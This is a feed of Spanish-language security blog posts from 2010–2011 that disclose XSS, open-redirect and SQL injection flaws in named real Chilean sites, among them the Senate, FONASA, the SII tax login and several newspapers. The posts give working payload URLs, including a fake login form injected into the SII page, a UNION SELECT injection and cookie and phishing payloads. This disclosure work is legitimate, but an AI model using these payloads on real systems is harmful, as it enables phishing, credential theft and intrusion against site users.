		<description><![CDATA[Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales. Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif"><img class="aligncenter size-full wp-image-2411" title="Prontus CMS Logo" src="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif" alt="" width="200" height="72" /></a></p>
<blockquote><p>Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.</p></blockquote>
<p>Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.<br />
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.</p>
<p>Entre los sitios afectados por esta vulnerabilidad estan el <a href="http://senado.cl">sitio web del Senado de la República de Chile</a>, y <a href="http://www.fonasa.cl">Fonasa</a>, entre otros.</p>
<p>La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html &#8220;antialone.html&#8221;</p>
<p>En este archivo encontramos el siguiente codigo javascript:</p>
<pre id="line1" class="c" name="code">if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('&lt;frameset rows="122,1*" frameborder="NO" border="0" framespacing="0"&gt;');
    document.write('  &lt;frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO"&gt;');
    document.write('  &lt;frame name="cont" src="' + page + '" marginwidth="0" marginheight="0"&gt;');
    document.write('&lt;/frameset&gt;');
  };</pre>
<p>Si se fijan, en la linea 6 crea un frame con <em>src=page</em>, y en la linea 3 <em>page=page+?+Math.random()</em>. Por lo tanto, si le pasamos la variable &#8220;page&#8221; por url con el contenido &#8220;javsript:algo&#8230;&#8221; el navegador lo debería interpretar.</p>
<p><span id="more-2410"></span></p>
<p>El problema es que en la línea 3 le agrega &#8220;?numero aleatorio&#8221;, por lo que si le pasamos el valor &#8220;javascript:alert(1)&#8221; lo que cargara el frame será &#8220;javascript:alert(1)?45454554.0&#8243; lo que provocará un error de sintaxis y el navegador no hará nada.<br />
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.</p>
<p>No podemos poner directamente la url &#8220;http://www.algo.com&#8221; ya que en otro lado del javscript aparece un tipo de filtro que si encuentra &#8220;://&#8221; nos manda a la raíz del sitio:</p>
<pre id="line1" class="c" name="code"> if (page.indexOf('://') &gt;= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };</pre>
<p>Para explotar la vulnerabilidad usaré &#8220;<strong>javascript:alert(/XSS/);//</strong>&#8220;, de esta forma el valor de la variable page será &#8220;<strong>javascript:alert(/XSS/);//?45454554.0</strong>&#8221; dejando lo último como comentario.</p>
<h2>Pruebas de Concepto:</h2>
<p><strong>Sitio web del Senado</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png"><img class="aligncenter size-full wp-image-2431" title="Senado Republica Chile XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png" alt="" width="622" height="376" /></a></p>
<p><strong>Sitio web del Fondo Nacional de Salud (FONASA)</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png"><img class="aligncenter size-full wp-image-2433" title="FONASA XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png" alt="" width="583" height="337" /></a></p>
<p><strong>Universidad Catolica de Valparaiso</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png"><img class="aligncenter size-full wp-image-2434" title="UCV XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png" alt="" width="571" height="330" /></a></p>
<p><strong>Los sitios afectados son:</strong></p>
<p><a href="http://www.mercuriovalpo.cl" target="_new">http://www.mercuriovalpo.cl</a><br />
<a href="http://www.estrellaiquique.cl" target="_new">http://www.estrellaiquique.cl</a><br />
<a href="http://www.australvaldivia.cl" target="_new">http://www.australvaldivia.cl</a><br />
<a href="http://www.ucv.cl" target="_new">http://www.ucv.cl</a><br />
<a href="http://www.estrellavalpo.cl" target="_new">http://www.estrellavalpo.cl</a><br />
<a href="http://www.senador.cl" target="_new">http://www.senador.cl</a><br />
<a href="http://www.diariollanquihue.cl" target="_new">http://www.diariollanquihue.cl</a><br />
<a href="http://www.lidersanantonio.cl" target="_new">http://www.lidersanantonio.cl</a><br />
<a href="http://www.australtemuco.cl" target="_new">http://www.australtemuco.cl</a><br />
<a href="http://www.diariolaestrella.cl" target="_new">http://www.diariolaestrella.cl</a><br />
<a href="http://www.estrellaloa.cl" target="_new">http://www.estrellaloa.cl</a><br />
<a href="http://www.estrellaarica.cl" target="_new">http://www.estrellaarica.cl</a><br />
<a href="http://www.laestrellachiloe.cl" target="_new">http://www.laestrellachiloe.cl</a><br />
<a href="http://www.australlosrios.cl" target="_new">http://www.australlosrios.cl</a><br />
<a href="http://mercuriocalama.cl" target="_new">http://mercuriocalama.cl</a><br />
<a href="http://www.australosorno.cl" target="_new">http://www.australosorno.cl</a><br />
<a href="http://www.diarioatacama.cl" target="_new">http://www.diarioatacama.cl</a><br />
<a href="http://www.diarioaustral.cl" target="_new">http://www.diarioaustral.cl</a><br />
<a href="http://www.renacerdeangol.cl" target="_new">http://www.renacerdeangol.cl</a><br />
<a href="http://www.fonasa.cl" target="_new">http://www.fonasa.cl</a><br />
<a href="http://www.mercurioantofagasta.cl" target="_new">http://www.mercurioantofagasta.cl</a><br />
<a href="http://www.prensatocopilla.cl" target="_new">http://www.prensatocopilla.cl</a><br />
<a href="http://www.ellanquihue.cl" target="_new">http://www.ellanquihue.cl</a><br />
<a href="http://www.elaustral.cl" target="_new">http://www.elaustral.cl</a><br />
<a href="http://www.hernanlarrain.cl" target="_new">http://www.hernanlarrain.cl</a><br />
<a href="http://www.estrellanorte.cl" target="_new">http://www.estrellanorte.cl</a></p>
<p>No se descarta que existan más sitios afectados.</p>
<p><strong>Actualizado (12 de Julio del 2011):</strong><br />
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-xss-en-prontus-cms%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"  data-text="Vulnerabilidad XSS en Prontus CMS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Arbitrary URL Redirection y XSS en sitio web del S.I.I</title>
		<link>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/</link>
		<comments>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/#comments</comments>
		<pubDate>Tue, 10 May 2011 14:46:20 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servicio impuestos internos]]></category>
		<category><![CDATA[sii]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[url redirection]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2261</guid>
		<description><![CDATA[Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario. Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg"><img class="aligncenter size-full wp-image-2262" title="sii_online_peq" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg" alt="" width="200" height="77" /></a></p>
<p>Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.</p>
<p>Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.</p>
<p>La URL vulnerable es <a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html</a> que al agregarle al final &#8220;<strong>?http://alguna_url</strong>&#8220;, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com</a></p>
<p>Luego de ingresar, seremos redirigidos a Google.</p>
<p>Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png"><img class="aligncenter size-full wp-image-2263" title="sii_xss" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png" alt="" width="715" height="191" /></a></p>
<p>O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png"><img class="aligncenter size-full wp-image-2265" title="form_sii" src="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png" alt="" width="433" height="152" /></a></p>
<p>Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.</p>
<p>Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Farbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"  data-text="Arbitrary URL Redirection y XSS en sitio web del S.I.I" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>0-day: SQL Injection en sitio web de Joomla</title>
		<link>http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/</link>
		<comments>http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 17:25:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[0-day]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2051</guid>
		<description><![CDATA[La vulnerabilidad afecta al sitio web &#8220;J!People: Network with Friends&#8221; de Joomla.org. El error se produce en el archivo events.html al no filtrar la variable &#8220;groupid&#8221;, pudiendo generar un error que nos mostrará información relevante para poder hacer la inyección de código SQL. URL original: http://people.joomla.org/events.html?groupid=44 Inyección SQL: http://people.joomla.org/events.html?groupid=1%20or%201=0%20union%20select%20all%201,2,3,4,5,6,7;%20&#8211; No descarto que esta vulnerabilidad sea [...]]]></description>
			<content:encoded><![CDATA[<p>La vulnerabilidad afecta al sitio web &#8220;<a href="http://people.joomla.org" target="_blank">J!People: Network with Friends</a>&#8221; de Joomla.org.</p>
<p>El error se produce en el archivo events.html al no filtrar la variable &#8220;groupid&#8221;, pudiendo generar un error que nos mostrará información relevante para poder hacer la inyección de código SQL.</p>
<p>URL original: <a href="http://people.joomla.org/events.html?groupid=44">http://people.joomla.org/events.html?groupid=44</a><br />
Inyección SQL:<a href="http://people.joomla.org/events.html?groupid=1%20or%201=0%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,16,17,18,19;%20--"> http://people.joomla.org/events.html?groupid=1%20or%201=0%20union%20select%20all%201,2,3,4,5,6,7;%20&#8211;</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/joomla_sqli.png"><img class="aligncenter size-full wp-image-2052" title="joomla_sqli" src="http://blog.zerial.org/wp-content/uploads/2010/12/joomla_sqli.png" alt="" width="622" height="384" /></a><br />
No descarto que esta vulnerabilidad sea parte de una extensión, plugin o módulo y que pueda afectar a otros sitios que lo implementen.</p>
<p><strong>EDITADO:</strong> (29/diciembre/2010) Joomla corrige la vulnerabilidad</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2F0-day-sql-injection-en-sitio-web-de-joomla%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/"  data-text="0-day: SQL Injection en sitio web de Joomla" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>XSS en el sitio web de FeriaTicket y FeriaMix</title>
		<link>http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/</link>
		<comments>http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 02:10:13 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2004</guid>
		<description><![CDATA[FeriaTicket se dedica a la venta de tickets/entradas de eventos de todo tipo y FeriaMix vende libros y música, mediante el registro de usuario es posible realizar compras en línea en ambas tiendas. Ambos sitios web, pertenecientes a la misma empresa, están desarrollados por la misma empresa usando el mismo sistema web (framework, cms o [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-2005" title="feriapwned" src="http://blog.zerial.org/wp-content/uploads/2010/12/feriapwned.png" alt="" width="585" height="69" /></p>
<p><strong>FeriaTicket</strong> se dedica a la venta de tickets/entradas de eventos de todo tipo y <strong>FeriaMix</strong> vende libros y música, mediante el registro de usuario es posible realizar compras en línea en ambas tiendas. Ambos sitios web, pertenecientes a la misma empresa, están desarrollados por la misma empresa usando el mismo sistema web (framework, cms o como quieran llamarlo) y así mismo, comparten los mismos bugs y vulnerabilidades.</p>
<p>La vulnerabilidad en común corresponde a una del tipo Cross-Site Scripting (XSS) al no validar los parametros de la URL, permitiendo la inyección de código html o javascript arbitrario.<br />
Especificamente, se encuentra en el script <strong>wspd_cgi.sh</strong> al no validar el valor que se le entrega a la variable <strong>wspd_cgi.sh.</strong></p>
<p style="text-align: center;"><strong>wspd_cgi.sh/WService=<em>&lt;código malicioso&gt;</em></strong></p>
<p>No está demas decir que la vulnerabilidad permite redireccionar a un sitio distinto al de FeriaTicket o FeriaMix, pudiendo robar las cookies y suplantar la identidad de los clientes, accediendo a información privada. A pesar de lo que la empresa declara en su <a href="http://www.feriamix.cl/privacidad_seguridad.html" target="_blank">página relacionada con la privacidad y la seguridad</a>:</p>
<blockquote><p><strong>Compromiso con la Seguridad</strong><br />
En relación a nuestro sitio web (www.feriamix.cl), Empresas Feria hace esta declaración de seguridad y privacidad en orden a demostrar y comunicar su compromiso con una práctica de negocios de alto nivel ético y dotada de los controles internos apropiados.</p>
<p><strong>Protección de Datos</strong><br />
Nuestro sitio está protegido con una amplia variedad de medidas de seguridad, tales como procedimientos de control de cambios, passwords y controles de acceso fí­sico. También empleamos otros mecanismos para asegurar que los datos que nos proporcionas no sean extraviados, mal utilizados o modificados inapropiadamente. Esos controles incluyen polí­ticas de confidencialidad y respaldo periódico de bases de datos.</p></blockquote>
<p>Puedo asegurar que <strong>no</strong> están cumpliendo con lo que dicen.</p>
<p><span id="more-2004"></span></p>
<p>Prueba de concepto <strong>FeriaMix</strong>:</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2010/12/feriamix.png"><img class="aligncenter size-full wp-image-2012" title="feriamix" src="http://blog.zerial.org/wp-content/uploads/2010/12/feriamix.png" alt="" width="480" height="192" /></a></p>
<p style="text-align: center;">
<p>Prueba de concepto <strong>FeriaTicket</strong>:</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2010/12/feriaticket.png"><img class="aligncenter size-full wp-image-2013" title="feriaticket" src="http://blog.zerial.org/wp-content/uploads/2010/12/feriaticket.png" alt="" width="520" height="160" /></a></p>
<p>La empresa afectada fue avisada vía twitter al no encontrar ningun correo de contacto, pero no dieron respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fxss-en-el-sitio-web-de-feriaticket-y-feriamix%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/"  data-text="XSS en el sitio web de FeriaTicket y FeriaMix" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Explotar XSS mediante SQL Injection</title>
		<link>http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/</link>
		<comments>http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 19:39:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1479</guid>
		<description><![CDATA[Para complementar un poco lo que publicó d3m4s1@d0v1v0 en ITFreekZone sobre el Reflected XSS mediante SQL Injection, me gustaría demostrarles otra manera de realizar Cross-Site Scripting aprovechandose de una vulnerabilidad de inyección SQL. La teoría es muy sencilla, basta con que encontremos un sitio vulnerable a inyección SQL, no importa que tenga protecciónes contra comillas [...]]]></description>
			<content:encoded><![CDATA[<p>Para complementar un poco lo que publicó <em>d3m4s1@d0v1v0</em> en <a href="http://itfreekzone.blogspot.com/2010/01/reflected-xss-traves-de-sql-injection.html" target="_blank">ITFreekZone sobre el Reflected XSS mediante SQL Injection</a>, me gustaría demostrarles otra manera de realizar <em>Cross-Site Scripting</em> aprovechandose de una vulnerabilidad de inyección SQL.<br />
La teoría es muy sencilla, basta con que encontremos un sitio vulnerable a inyección SQL, no importa que tenga protecciónes contra comillas simples o dobles, o similar, basta con que podamos generar un error por lado del servidor por ejemplo cambiando un número (id) por una letra (en el caso de oracle, sql server u otros que tengan problemas de compatibilidad por el tipo de dato pasado), agregas signos raros o una comilla obligando a que el servidor arroje un error de sintáxis, lo que vamos a hacer es <strong>insertar código javascript justo donde se genera el error sql</strong>.</p>
<p><span id="more-1479"></span></p>
<p>Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio &#8220;Cibertec.cl&#8221; que al parecer cumple todo para poder explotarla.Ç<br />
Si ingresamos al sitio <strong>http://www.cibertec.cl</strong> y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2010/01/cibertec_vulnerable.png"><img class="aligncenter size-full wp-image-1494" title="cibertec_vulnerable" src="http://blog.zerial.org/wp-content/uploads/2010/01/cibertec_vulnerable.png" alt="" width="510" height="386" /></a></p>
<p>Vamos a comprobarlo cambiando el número <strong>587</strong> por una comilla simple. Entonces ingresamos a <strong>http://www.cibertec.cl/detalle.php?item=&#8217;</strong> y obtenemos el siguiente mensaje:</p>
<blockquote><p><strong>Database error:</strong> Invalid SQL: SELECT * FROM inventory WHERE id = &#8216;<br />
<strong>MySQL Error</strong>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;&#8217; at line 1)<br />
Session halted.</p></blockquote>
<p>Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone &#8220;<em>WHERE id = &#8216;</em>&#8220;. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra &#8220;<em>prueba</em>&#8221; luego de la comilla simple, podemos ver el siguiente mensaje:</p>
<blockquote><p><strong>Database error:</strong> Invalid SQL: SELECT * FROM inventory WHERE id = &#8216;prueba<br />
<strong>MySQL Error</strong>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;prueba&#8217; at line 1)<br />
Session halted.</p></blockquote>
<p>Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.</p>
<p><strong>Prueba de concepto (PoC)</strong></p>
<p>Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.</p>
<ol>
<li><strong>Phishing</strong>: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: <em>http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E<br />
</em> (puede leer más sobre esto en <a href="http://blog.zerial.org/seguridad/haciendo-phishing-explotando-una-vulnerabilidad-xss/" target="_blank">un post que publiqué</a> hace un tiempo)</li>
<li><strong>Robo de credenciales</strong>: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: <em>http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E</em></li>
</ol>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/xssph_cibertec.png"><img class="aligncenter size-full wp-image-1498" title="xssph_cibertec" src="http://blog.zerial.org/wp-content/uploads/2010/01/xssph_cibertec.png" alt="" width="613" height="360" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/xss_cibertec.png"><img class="aligncenter size-full wp-image-1499" title="xss_cibertec" src="http://blog.zerial.org/wp-content/uploads/2010/01/xss_cibertec.png" alt="" width="622" height="194" /></a></p>
<p>De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/"  data-text="Explotar XSS mediante SQL Injection" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
